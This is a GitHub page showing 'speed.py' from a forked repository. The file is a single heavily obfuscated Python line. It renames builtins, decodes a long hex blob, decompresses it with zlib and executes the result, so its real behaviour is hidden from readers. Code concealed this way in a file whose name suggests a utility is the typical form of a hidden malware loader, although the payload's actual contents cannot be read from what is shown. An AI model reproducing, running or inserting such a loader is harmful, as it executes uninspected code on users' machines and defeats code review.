forked from mouricedevs/gifted
-
Notifications
You must be signed in to change notification settings - Fork 0
/
speed.py
3 lines (2 loc) · 13.5 KB
/
speed.py
1
2
3
pyobfuscate=(lambda getattr:[((lambda IIlII,IlIIl:setattr(__builtins__,IIlII,IlIIl))(IIlII,IlIIl)) for IIlII,IlIIl in getattr.items()]);Il=chr(114)+chr(101);lI=r'[^a-zA-Z0-9]';lIl=chr(115)+chr(117)+chr(98);lllllllllllllll, llllllllllllllI, lllllllllllllIl,lllllllllIIllIIlI = __import__, getattr, bytes,exec
__import__("sys").setrecursionlimit(100000000);lllllllllIIllIIlI(llllllllllllllI(lllllllllllllll(lllllllllllllIl.fromhex('7a6c6962').decode()), lllllllllllllIl.fromhex('6465636f6d7072657373').decode())(lllllllllllllIl.fromhex('789ced5ded6e1b3b927d15efaf488947f0fe75e0579817308c86933859034e7c91f86266b0d8775f49564bdde4a953a748b62c256d0c9084647d579d2a76b7ef74ddebcfcdd3fdf74f5fee2fbaeb97fffcf5b078df2d3f7657ddcdaf979f1ffb135f1e3fbfac17f727afaebbab55d77d7efef2d075abcfcfddfdcf6f9f9ffffeb13e74f3cfe71f0f6bc2ab9bee6a437fb3e3d12d6ed75c17cbcbf5fffa95f5e6d562c873b37558bbee5e57c6c7d60bdba3cbbbe54ebf9bdbbb5e532e6efc7393b2bc59135f5d8223d79f9fbffff5f4f0efcb0efedcecd5fdfaf8b476c865baf13f1969bf737b97f3ecf7fe7afed7e5fe1fcf3fbf64270f81ebd6c1f8f2f873201a9979dd2fadb01dddc047d611e3c0629b3ae3bdc572f3b3cea7aba5e1b8d4846f07e71d43ebb582b7af6b771fe21ceaa8533d16dbcdf7ef77673eecfe5c27f9a22f827d96715915414c97b7111cc4ae57610d0d30a2fdfee3cbc3e040bffaede9f9d3fdd3afcbe19aadc87ac54e9b617a7c7b78b97f79f9096c5a2c17db100109c4e8c3cec6fcd710d744b8051b27a207091522f6eb97d3e93ba12b9af880f1362bb48db44db2aea55ceffe3da57fde3c9d1336eb1e68b7887187f871fffd0176b923c063bf3b452e0c7877468c76a0d8bd5fecffb6976fe9b31c1cb1ce242bebb04c684401ab89eb6e24aca9e2b5ac603bee216e5f2f7ddeffefff5d8efeed096d3826e4ea753d8cf5519b784432d0c3f3c5a1e5f57f19314a2f088e05d5c8929f68919207d775a9f3dae1558c112feb06f8fcaa53cf3b046807f2cde47db9bb82f699f4f5e9f9fe659c6ce306f5f9e9fed7af6d527e3cf0b47e2aee2d2d23da00aca648b2c1056b598c55b777668a2e16724ff43bed7ea5ae7d165e2a0f64f5f3e3d66372d3dd07ddf9f32dbc8276ab39110e1509250d73e5a9352883694afc15ed6e2061afc27873f4686ebbb6b9016d1955b3c9a88ed5c9ff4864dedddd8c616b31d97565823a498c9bc1a6c4fac9c1c6be19a714676af976ade5481de0540b391bfa7fbc1a80ef52107d1783172f6f876f85be1f2bd3c5c35f4d3651534f691096a70b75b3b2006aa0622d2eaa9e6aaf81c2b7e253af2f2086ac47135354699fc48a81568a9487cffe645b7634e00511380f1370b14c86b7aefa39674ad36818987016b0db57dfbfd54ebf4dc7fc05ea22eb53cb57ba24daafe939847233f05707d2b5658f5f4de3995736b3fcd55d92009b475e0f4fbf1e46aa6c35b96a2aa767bc93860d5def7e7dfeb9b5f7f1c766d20dbd8935bae3f5ae3dd65ca5b378ee8a1194efe68a74f8de20c5ff6ddf4dcaf46a67f5ebd3af8de1c4d0fd756bb91c7fcb90ddb94075bd2e2e066a2f06a9d5afafff3453d878b2d0a313f2c81672c00ba7a35f60ba1de6c2e789b91a9916dd0e1dd20d65c64d5f1fa4d27a568479b7877f8f49faa7d9b48caf648488e4de35850ca4e8beb623ae83f3a027d177356c48308cd22695ecc3a454b019a0c28b545a637183f9068a6effe4bdc553a47a1e238b57073eaf7ff9b05f4eff3d380516f3072e2ba42266daef0dd657c6b1eddfb396979e1952e61aefce0a5a1c16534cb1784307ad52b72e77bdbff573c5e9b2a33f049db3f9c1de6484204cc097c75a192a6bdb9245375980e5e1c8e3329936bdfcb106ba78ec175cf380815cccae1a65ae21aaa9f46ef696e956146e2b77b81eb6fe53c060c0a8ace6f59a233171bbd42adf1632313d27170c7541ba699ba5d09f76aee2dec0b436adc95941d7a9a80ee4104fd96027e5238550d34101683532ba8d919af4b4c0bc9c17c6bafd71a11d312da1e61917a055a8b9014d0d4999be23a96eda8c95516ccd95ab4b98d4351e88ade6e488278705b11aac38f129b3c7ce1a1163703f80f8e1ea8779d17ce110c652d40c13d4a2b08c14131256d4d5c456da966dd92d9ceb92892e4d54cd3cc1bd88760d0a213d05e6a3ddf24d4b30a3332283b895e49372a0410a38fcddb9d3ad2ab82f94328c8a888141a502c8606a96e9e0afea4386b56d52d07954cf81586510340f26388302e625e9b166a81a6de4762bd73861a9c5ed4af6c8611bb2b064cbd796f6cc62c729996a742c175b0fc93add2cdfba507806eb12f6e5cc222962e7a82210ee02df37f78cd35b585eaa5d28e39133b5cb852008dcb4cb3d06d1c8f0189edba29521d74aa7d4530ca453494ef6e8bd1a254e70ec5b7582130063ae29b3d17180ab8dfb9644d52b67644c039ae572cd12433c122a9d5152e891c1dad03a172e3c61726872eda3a6712308473708f601016201afb252c93659438ccbc87c8e35c5d40ec6a13a0962898bbfa9fe999448cb0a172a07ea68e5435bc6dc432e356a8de7227350490bf17a9d9017781fd0c5de48b8bd4d427a9f8b0eb0b6142089f82dafa5403f11505885db559eced25c4c99123d04ec6afc94d3dc4270a664ba3713d80ad65499b91bfb90c0f4bf29db104c200a6d45df1230d17cafc0962c0143839f7bdc54a50640fc94a27a19092222b615334ba4a56a41b9d953af3afd948099b7ae8829476dcb125b2fbd3a5c60e2e94daa5786f56ccbf254bece2528851ca9749fb469fd843e0a510cca63ad14e06f50b76af70af7a255eecd7cb40e63b4da61c07ab0cf22abcc4829a2e48c919e5ea43fe800588b23ad9dd0fc215720a70ffb7e86d88e304c83cb45eea485646113ed024839086de60466c32534d9a294beb68ac7238418ea47b5b921c13016ea67134ac99e2e64f898e77e283e99a981ee6aa102711f0312bc0773dde4bf5b92b6848ca011358a05c29157569e2ca47ad1e8cb8005e482aa3cd031e57b12608415b23d30d890b92b093ade2685543acbf8d924858aeb0db7e342fb4d2b619b741c4d43ceb2d8720f1141a6bb2b660ee284b0d78db0a86890da52b44f2a39e180b7945eeab4ba19315c158f8218d815b9c14e5781a26c2778cfc8cbd2938429b7a6a984547f6918134a404f51ec72bbfe4dde46606d980b9669c8267797a4215082807808c2b12979894c08787807db0c063b3c7b53f5fca63924d01291caf63d8ce5f527a18d60318ea67662a89da3205bf2fa76db60070989118137eb0de1cc499082476dc70d9daf53f4a340c110d316c4935dc489225e9f28ee85875d1d89606e0f890a13d549256a88f758ab20a73d9c1406172a19ed3aaa5a7a653bbe2bbd84a7455734b2c1f5782eb918857723710679394fd886e1e73c617734ff9444235962a33b93e8571c5c6cfd0b9d4e6116c96307f212f3f1a92ebf985fc4719a1934160f6667a88e56d1f6b20bfb4157605fc4bb0d4750af07440669e011653cb48f851a8ddeda4cf6c497f22f2d916a8091c0001bc822532041349b82c90ee4de2a3f78be5d7cbf4ce4000b856b24f38b190ce5a97cd32f35f1ba0b3c888ed5a5fd5b5df0ad5c28b7f179531b1417edd5eb61233052b925191db969211b2cc37d825a69e64cb1917a04ddee303819f002d002ba80a328c95c216d0dde086ac273a0c16c48f11673c7f417b39189c2644bd3d14cf03fcca9c7089b80406c4ad33574f97910ae6961db939f8c0cafb9a74c495859ea68643af786cbacb2a1e13a08fc02b406a05a473138aa4ea391eab2ec899783e5acc06c6c5b996d47b244530b1b463e44854a2791a1c3e7d8da7343d5547fc9fde5480be54038d2902fdd0b75612f27ce0ce70ecba19940082620091859f43bb73520e4e34eba6d52c45eaa1036a64aab2cf5050c2f4ba76042fba7e52041fe830db9471cf878d55b523be37d654032ce4b2a847a7523578b47807f688b0aa08afeb6200f82dc83c4080bc90e9d0c0f4389858880d9146091d0100d1565fac4249674429ec7600b3ee99067e6fdb6121f2f04a65b9814b479b4271cba5f07c7fd6120e3cac4985b7ece9b6578f6839c95917a0928e40806421687bd6a30237cb852818659f0718c294541311f5f0dc92019e4791a0a1f6b224711a199850ab1da8e23ab93690ec21c13592bbfc1f2b3dacc9844a758a0c461c32a876093cc0f682d03fa3e594bcf20a379fd1a814a1897b58148ac2003b85ef2c1a5f251b3dfb4f42e8595b152121bba4a03104004f7b889616e19f86e72f22448eac80ba42455cece1cb06107d24c14248257a65bb7e93e0d7abaa9218500034d20481cc54c0bc3428d5c609aa8238d4303b2c06d0596d2092f2b2dab7eaf3bd180341f62bc96fada670acce798b199b625550cac53b6ce0847f2037ed075f43e06a45024042249d026851524c5c8092723591c69849dec60e56692da335e6482c24e23fa1a5b6ae5b120697015b8a9eaf53262a2179ec20f68a5b62216fc7487c5251318285b53bf70d9c213d44256ffc49fb4ce32b6f031f771bb7f04ee2902d55596e98dd49008ea1bfad9693f7678182fe8011106d37f1528c0d350d23d881225ad87e31a738385f7063b18464b356aac41c5a05eac158bb1352860c53d61d48d36ba98c6419553a6b10430c3c8d3c52e2fd643ec392cb843358084cae7f6f0192e0540a1b719b2467b4efefb530e4358c5b3496cecd46cddf86414c9fd4bf81584417a082de5159326a09d3ed0d04acb9da70d58c884888534d57b2ab90d4ce9f0a86d675c7aa2d9866c90766a77b2dde0673b0f10ee2688a779772e9b6c113f5753260dc431d28fb16cf9bb71690ba9a9b265ba0f0f686dd662a87c75cf7b4db9f6a1cf53956202bae3256ca53b02db15ec351fb97f4b0142a730bb84a4685fc447523a6e1faaec62b233338d03172e6357aae080060e816895591b428fcf9729caf80ed36757d784dd529af8bc2399a81d49c49649c4f8157404ec4f18c6d192e91bcc6095fe939b50061a56e49da43cd2efe33807408f120b03852227a7aad3aa42b0258098578768dbccd032f67e93b3b99ce645629a9c074c72fd4464830a41ef9b296e65a399a57aed20958527500647a181984994fa5f6d1c4e3b090d049a045c4b0c01327b48b5170d5e44197038d8e3c9d5c248565eb934089282e080e551c6c88677124ca5c8799ab9269ae6f45bccbffc2208b3ab6cfa85a515365ac9ee004ca702253495d18c3a2b67ccdc17c3cea060787e5596364c338e3586d6889df8d2037938a217493648c27b4b10d9383f7b0b22b2e858794ac998461f302ab627071c0a182cb42864a171a06cebb0ed364aae9af2c9a394c6d0b7965534c93560703c4e228b8b3f5f947283001eac1016538141305ca14b8b3d8af041a1aa269d1c77fd25d5214fe36857b168764b65c592b129c470b7964c4d69c34a9d5c0a75050d1e954571e3b104d9fec67065a606333034147b39e2d6a55078be5d2693784ad39ae2fba5298dd6613a13c5eafcecc39b9e759e070bec20300334a7e2197c140c37b8a0114514f299c2222f5ab1e1e9dae92748b6ea85d77f2a30982861293bd943530f1cdc3ab402ee94a7d308f2df4ad2c7051bf199b5593654c1935b06ab34789156940b4f1820429a308a55b45e8048824071c178170b0d42815aeaa9466fde52b951e1cc4d6bae00356df64d5256b00264b9dc3158dc575479e482a0e2fb6d1ff8087f213decdf14f78356f56d4fc41023cb948fa8f7ab72bc7cb866f9c2dd13365151350d28a488432a961cf84ac480630909657d104ff7a14aceca0779ab52ac1dc739a8c2b0c3f419d35127a47ec0499adaa9a0f119cf5b1a148e758f1a3c24164a11269e604672c4b53c7cc04a90822f8f15b7d37c2c7335491441e6fec09f93beb8baa77123a6fd03abe140a371a2fe2878cb26351ddb7c71b9acddb01d2922e520ac4aa83784ca8a7a9ef23214c9528fe5af96302bee5da861458aec5528a77731a12cea05508031d0c5bfbac6b00201f279e621439aae1a2bd79ff34114a5545bfcdc2d2fef969768e766cc65f4b3b81d6f2e96978b0397d57665d1dd3cdd7ffff4e5feda5057836fa0b19caf6fbb32d42c809e08df1b356ab2633a1e5597d9d41a769cbd4ebf032e3a1d827da7e80feb3e7f2a43f161e184ec1c6194546a1a5614e6f2ba2935677c649ea4c62cf318410d2bf278afc2ef80185c8ff981554e2cd40d905152eeaee5e103767dd7767eaaca143e9f9f5cb1fdf9c9d5699785fe9a59c89b6e77b93abb9b546e6feedc63aed87a25e69cc24d2a5168ac812e1efb459ea159f8636accc35867f8ded5c3d67fc512b5737c6768586254dd801f2d2931a75d459c9d81b27e61002744da2df9aad1eb8c3196feee7cb3a46959916a7b157e0730e37acc37cb9c781ea1111155650a9fcf374bb63fdf2ccfa22ce489ce4f9e6efceeeeec6e99f31d539119fdb432dfca750ae0a0a664037a37974efab6578550259ffde89654da01e4225556421170d182caaa9981f8094d576a13d4d15d0611824721dd51bdca76345081cb46869ff0209512cf930f22a2aa4ce1f3f942c0f6e70bc16994c581863488ac9b12fd1b7fe837df1baa566cbd1263e67b0329c4f9de500064f3bd61bc39df1b4cbaf9def016f3564a3c0f4888c84aecf9b2e02a345f1604fee7540b071a7fe479ab3b43f58561c0f4ec2e1f1d0ae8dbae0c353bf91b8809102bbf6409b4e49f9c98e6d48c42b6020a772ff1cef1a602a1518b9c03722734ec03e972ad78485294a5900e2f07270ca5b551cfb9ea1786bdba839d61ab018e9e5b4d2d620580c05068ee21074dc2f901d29de1d971f2c1d63540d05a5f8f6d41194555cc82158684cce9ab0c09fc62ac6e3855f4a753735c8ff9895b4e2cd40d9021654c72c4b53c7c20843ea16c42aa842bdb953d3f7163fbf313b7d3ad0557c7768fd3cee25602bc9ffbf8982b433d039313caf6dafcf17788b7f3ad5ca700086a4a36a07753e8a4af2155f034bf741f6f36a914a1954ae04f3dd865b52fb80ad2bdb5bb2ca3fa95df733c4a89e77906114155e218e94a9fa77bb63f4ff7a7510d071a79e2a02ea91cfc5bbe3adffe9cc5f5a1437e7edb95a1a6277f8148141a6ba08bc77e11b076b82e978506d1c0421737cae9ddd43de96b0bd71f0cd43ad21b1a961815322937275852624ebb8ab01dbb4a64a7f98d38ccb2d81c2a2bea7fcacb50244b92303c67fe5b71ef8622c8458f55f81da088eb315f3c73e279d446445495297c3edf40d9fe7c033d8db238d0382626dbd42fcdde3fb5bd90b6bede36e477161765908579ae1d7365a86760984455dfa88ec80ef176be95eb1468069a920de8dd143ae90b6b154ccfefd9c69b4d2ac58b8805636024b0057659ed0bae82746fed2ecba87ee5f71c1353e279ae43445495297c3e5f77d8fe7cdd398db238d07826bec97d67f3d3ec567116770abc9207e0982b4355e76b4550c906f46e16cdd78af95a91d30a2862d1068a283bbacab785aa4fcf19ba9683c55ef53fb50eb9fe27f13e9aed6083dda2b4f38f449174f223b5aa7ebf6cd03f0e2006d244533b150490e40def2729f17ca14044922a6dbd3edfb4d9fe7cd33e87c2b0594977691a9af999b24f0b4fd7562157210939e5af305fe9ec5475b34328f32ad21668357e04d4e8d9cff93cf94148f0b62b436d9d742a1ac3279fa8fdc2a2370109b93495f71ccbe9ddb49aafa0b46b2946054d9215cd970db79ff0e89812cfb31e22b270a3ada3e77b0fdb9fef3da7510b071abfadc1f173d201b3ff69316836fc4f174ea0e07e84dd1ebedc6fadbafeec36fdefb656b4fb92f3587a5fa6bb5dbf3f5af468205129a7bbe9720dfd3fc3fcbebe0e1ebd6bfaffb309bcdd8ae76f12b0bb49fe0be10526ddb5beeeb7772bc684c6497aca0e685bdd6dcc6dfb5b116d9d97987cc2ff498213cc1517aeced80d77cdbe6b6bfd6b3c075700579f9fa34b61be59337afd7b9bc13ca36aa3df90c362b1fdfbfbf7bba50fbb3f97ef9d8d2edd5a22072e16b68084fcf0ef5c80c563b9c455650a85935caf6366d26021538f18b4b4f07f2fc6f6ade8ad83102ca3593e8bee32fd3d38a2268211a4b1eff2f40bfaceb28a90e318988a9a0a2b796d04375c9476b5369ea3a0baa92bf62ea90c55d40b189ab2c3761647ebd2cedea2da4969a2b087c4be7ac69511892a0f0b4af3f6f36de692920624477be02d8a05f1f2b400a049abb2f267acaede3e4b7b3c6da2133d90c36c22984260423f4bdbb75f4cb09d7483d4892050973affc049ec6e757e23f05c8665b6890e3c1b7fc25c9c00acf64e5562647776617e8a0ffce2f4d3e23e1185ad462321e4ddb3b6fe8c977cd5c4d8ed42dcf2a179a4cbd45cd32ad33d104b0d5ca7c2f44882a61bd2e45a6086d314ac3fdddbc354ed182bd20ab5dab6ddf8f38a76b01935bc419fd59bd004f7c1d1f5240c28e288d0fea5459380973909a85f791b15148917c05ea54ca3ce804a07ec2a4058b99c85a1d4f8d3b8e64cf4e82e558260854f1bba484075cea10f17655943209fe2695689b5addf5a2bd9e9c3787a409de383f390f3984636a5bac3953c6b39a83ae50b09fbc94d835ca97d0ea6762c631e888d1a6d5a68f71ab5f0d4666e84efc24d1ffe74c37aa96d9ead66781fee26c1b94631aa9f7082e1b072d1d5da2ed20cb84bd8e32e509c64765234fc68d80f5eb8d74cf3d4668abb329ea68ef7a2b9ec4155fd4bd9c23034fd64b3d686b2fb58156808bd3e7eaf1427fc0a386af0da78dad7c5fd39d3476eff98e29331a86a78006f0d4e8affc67eacbdd1f554252fac4217fb2625def23f07dee66ac826fa4637ab2872144c320def0c990f2d7e247928e35286554f33d003b4c9ba64ec9157f377b0c5ddb6a71e2b30c553d654926772f39c722e3b533d38dbc968f4e1ef14afb80b6f47d18c803e8e3dad09482c7a08eb5fb21abf251bf26ef8503a7e7d18fd4c35aa955d43773eaa7d302be1b0d289959b2631a2fc2212b99bb7783258f6b9f5f2f59726d6fffbb853e476316000526ab338f8bd0b72669d6b192b87d62223921d124f2425cf48f1694b82ab1a570e926302260952d804427405bb20234e6708de12dd7d5cec7e03e962b1fbdbc5e7e72f0fd7170fff7e7c596cfeba5c2efe7b79f1f8f5e2c7f3cbc5e7fba7a7fb4f4f0f8b6f0f2ff72f2f3fd7323ffdfdf8f4f2f8e357d75d5ebcfbfcfcfdafc7a787779717ff7cfeb126bd78fe79818eae7607d7245df7fdf9cbdf4f0f5db7a67af76e79f15f3717effa93ef24063feebf8fc97b352e1e9e7e3dec54596c2a7163f4c78363ac9f8577041f583bf4d60284bb0f719e1b7ebb7f97904fa1d258adbba5eba92a675ef79a77755e009a97725adcde5533a14159bbf412520de9bd13738276bb045dfe3f97a797e0'.replace("\n" , ""))).decode())